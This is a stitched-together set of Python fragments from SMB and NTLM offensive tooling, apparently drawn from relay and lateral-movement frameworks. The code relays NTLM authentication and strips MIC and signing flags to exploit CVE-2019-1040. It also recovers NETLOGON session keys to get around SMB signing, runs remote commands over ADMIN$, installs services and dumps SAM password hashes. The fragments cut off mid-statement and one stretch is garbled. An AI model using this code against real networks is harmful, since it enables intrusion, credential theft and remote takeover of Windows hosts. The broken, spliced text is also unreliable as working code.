flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except socketerror as e: if 'reset by peer' in str(e): if not self.serverConfig.smb2support: LOG.error( 'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support' ) else: LOG.error('SMBCLient error: Connection was reset') else: LOG.error('SMBCLient error: %s' % str(e)) return False if packet[0:1] == b'\xfe': smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True def setUid(self, uid): self._uid = uid def sendNegotiate(self, negotiateMessage): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION negotiateMessage = negoMessage.getData() challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge return challenge def sendNegotiatev2(self, negotiateMessage): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 # Let's build a NegTokenInit with the NTLMSSP blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [ TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ] blob['MechToken'] = negotiateMessage sessionSetup['SecurityBufferLength'] = len(blob) sessionSetup['Buffer'] = blob.getData() packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup packetID = v2client.sendSMB(packet) ans = v2client.recvSMB(packetID) if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): v2client._Session['SessionID'] = ans['SessionID'] sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) return respToken['ResponseToken'] return False def sendNegotiatev1(self, negotiateMessage): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE # Just in case, clear the Unicode Flag flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE)) sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Let's build a NegTokenInit with the NTLMSSP # TODO: In the future we should be able to choose different providers blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [ TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ] blob['MechToken'] = negotiateMessage sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters'].getData() sessionSetup['Data']['SecurityBlob'] = blob.getData() # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except Exception: LOG.error("SessionSetup Error!") raise else: # We will need to use this uid field for all future requests/responses v1client.set_uid(smb['Uid']) # Now we have to extract the blob to continue the auth process sessionResponse = SMBCommand(smb['Data'][0]) sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters( sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data( flags=smb['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters[ 'SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) return respToken['ResponseToken'] def sendStandardSecurityAuth(self, sessionSetupData): v1client = self.session.getSMBServer() flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) if sessionSetupData['Account'] != '': smb = NewSMBPacket() smb['Flags1'] = 8 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters'][ 'SessionKey'] = v1client._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len( sessionSetupData['AnsiPwd']) sessionSetup['Parameters']['UnicodePwdLength'] = len( sessionSetupData['UnicodePwd']) sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] sessionSetup['Data']['Account'] = sessionSetupData['Account'] sessionSetup['Data']['PrimaryDomain'] = sessionSetupData[ 'PrimaryDomain'] sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: return None, STATUS_LOGON_FAILURE else: v1client.set_uid(smb['Uid']) return smb, STATUS_SUCCESS else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials clientResponse = None errorCode = STATUS_ACCESS_DENIED return clientResponse, errorCode def sendAuth(self, authenticateMessageBlob, serverChallenge=None): authMessage = NTLMAuthChallengeResponse() authMessage.fromString(authenticateMessageBlob) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION authMessage['MIC'] = b'' authMessage['MICLen'] = 0 authMessage['Version'] = b'' authMessage['VersionLen'] = 0 authenticateMessageBlob = authMessage.getData() if unpack('B', authenticateMessageBlob[:1] )[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to wrap the NTLMSSP into SPNEGO respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob authData = respToken2.getData() else: authData = authenticateMessageBlob if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup # Reusing the previous structure sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob) sessionSetup['Buffer'] = authenticateMessageBlob packetID = v2client.sendSMB(packet) packet = v2client.recvSMB(packetID) return packet, packet['Status'] def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE smb['Uid'] = v1client.get_uid() sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' sessionSetup['Parameters']['SecurityBlobLength'] = len( authenticateMessageBlob) sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() errorCode = smb['ErrorCode'] << 16 errorCode += smb['_reserved'] << 8 errorCode += smb['ErrorClass'] return smb, errorCode def getStandardSecurityChallenge(self): if self.session.getDialect() == SMB_DIALECT: return self.session.getSMBServer().get_encryption_key() else: return None def isAdmin(self): rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW( dce, '{}\x00'.format(self.target.hostname), 'ServicesActive\x00', 0xF003F) return "TRUE" except scmr.DCERPCException as e: pass return "FALSE"
class SMBAttack(Thread): def __init__(self, config, SMBClient, username): Thread.__init__(self) self.daemon = True if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.config = config self.__answerTMP = "" if self.config.interactive: # Launch locally listening interactive shell self.tcpshell = TcpShell() else: self.tcpshell = None if self.config.exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: logging.info("Started interactive SMB client shell via TCP on 127.0.0.1:%d" % self.tcpshell.port) # Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = "" self.__SMBConnection.getFile("ADMIN$", "Temp\\__output", self.__answer) self.__SMBConnection.deleteFile("ADMIN$", "Temp\\__output") else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote=True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost() + "_samhashes") logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
def __init__(self, args, db, host, module, cmeserver): self.args = args self.db = db self.host = host self.module = module self.cmeserver = cmeserver self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if ((self.password is not None or self.hash is not None) and self.username is not None): if self.module: module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, self) if hasattr(module, 'on_admin_login') and self.admin_privs: module.on_admin_login(context, self) elif self.module is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)()
from getpass import getpass password = getpass("Password:"******"\t[*] " + NOCOLOR, end='') print(osVersion + " " + os_arch + " (name:" + hostname + ") (domain:" + domain + ")") if userName: if options.A is None: """ print_info() if not domain:
class SMBRelayClient(ProtocolClient): PLUGIN_NAME = "SMB" def __init__(self, serverConfig, target, targetPort=445, extendedSecurity=True): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.extendedSecurity = extendedSecurity self.machineAccount = None self.machineHashes = None self.sessionData = {} self.negotiateMessage = None self.challengeMessage = None self.serverChallenge = None self.keepAliveHits = 1 def netlogonSessionKey(self, authenticateMessageBlob): # Here we will use netlogon to get the signing session key logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp) #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(authenticateMessageBlob) _, machineAccount = self.serverConfig.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: serverName = machineAccount[:len(machineAccount) - 1] except: # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.serverConfig.machineHashes) > 0: lmhash, nthash = self.serverConfig.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', b'12345678') serverChallenge = resp['ServerChallenge'] if self.serverConfig.machineHashes == '': ntHash = None else: ntHash = bytes.fromhex( self.serverConfig.machineHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) nrpc.hNetrServerAuthenticate3( dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = self.serverChallenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 # request.dump() try: resp = dce.request(request) # resp.dump() except DCERPCException as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) return e.get_error_code() logging.info( "%s\\%s successfully validated through NETLOGON" % (domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != b'': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4'] ['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4'][ 'UserSessionKey'] logging.info("SMB Signing key: %s " % signingKey.hex()) return STATUS_SUCCESS, signingKey def keepAlive(self): # SMB Keep Alive more or less every 5 minutes if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): # Time to send a packet # Just a tree connect / disconnect to avoid the session timeout tid = self.session.connectTree('IPC$') self.session.disconnectTree(tid) self.keepAliveHits = 1 else: self.keepAliveHits += 1 def killConnection(self): if self.session is not None: self.session.close() self.session = None def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard( None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except Exception as e: if not self.serverConfig.smb2support: LOG.error( 'SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support' ) else: LOG.error('SMBClient error: Connection was reset') return False if packet[0:1] == b'\xfe': preferredDialect = None # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 if self.serverConfig.remove_target: preferredDialect = SMB2_DIALECT_21 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True def setUid(self, uid): self._uid = uid def sendNegotiate(self, negotiateMessage): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION negotiateMessage = negoMessage.getData() challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) self.negotiateMessage = negotiateMessage self.challengeMessage = challenge.getData() # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge self.serverChallenge = challenge['challenge'] return challenge def sendNegotiatev2(self, negotiateMessage): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 sessionSetup['SecurityBufferLength'] = len(negotiateMessage) sessionSetup['Buffer'] = negotiateMessage packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup packetID = v2client.sendSMB(packet) ans = v2client.recvSMB(packetID) if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): v2client._Session['SessionID'] = ans['SessionID'] sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) return sessionSetupResponse['Buffer'] return False def sendNegotiatev1(self, negotiateMessage): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE # Just in case, clear the Unicode Flag flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE)) sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Let's build a NegTokenInit with the NTLMSSP # TODO: In the future we should be able to choose different providers #blob = SPNEGO_NegTokenInit() # NTLMSSP #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] #blob['MechToken'] = negotiateMessage #sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters']['SecurityBlobLength'] = len( negotiateMessage) sessionSetup['Parameters'].getData() #sessionSetup['Data']['SecurityBlob'] = blob.getData() sessionSetup['Data']['SecurityBlob'] = negotiateMessage # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except Exception: LOG.error("SessionSetup Error!") raise else: # We will need to use this uid field for all future requests/responses v1client.set_uid(smb['Uid']) # Now we have to extract the blob to continue the auth process sessionResponse = SMBCommand(smb['Data'][0]) sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters( sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data( flags=smb['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters[ 'SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) #return respToken['ResponseToken'] return sessionData['SecurityBlob'] def sendStandardSecurityAuth(self, sessionSetupData): v1client = self.session.getSMBServer() flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) if sessionSetupData['Account'] != '': smb = NewSMBPacket() smb['Flags1'] = 8 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters'][ 'SessionKey'] = v1client._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len( sessionSetupData['AnsiPwd']) sessionSetup['Parameters']['UnicodePwdLength'] = len( sessionSetupData['UnicodePwd']) sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] sessionSetup['Data']['Account'] = sessionSetupData['Account'] sessionSetup['Data']['PrimaryDomain'] = sessionSetupData[ 'PrimaryDomain'] sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: return None, STATUS_LOGON_FAILURE else: v1client.set_uid(smb['Uid']) return smb, STATUS_SUCCESS else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials clientResponse = None errorCode = STATUS_ACCESS_DENIED return clientResponse, errorCode def sendAuth(self, authenticateMessageBlob, serverChallenge=None): # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: authMessage = NTLMAuthChallengeResponse() authMessage.fromString(authenticateMessageBlob) if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if authMessage[ 'flags'] & 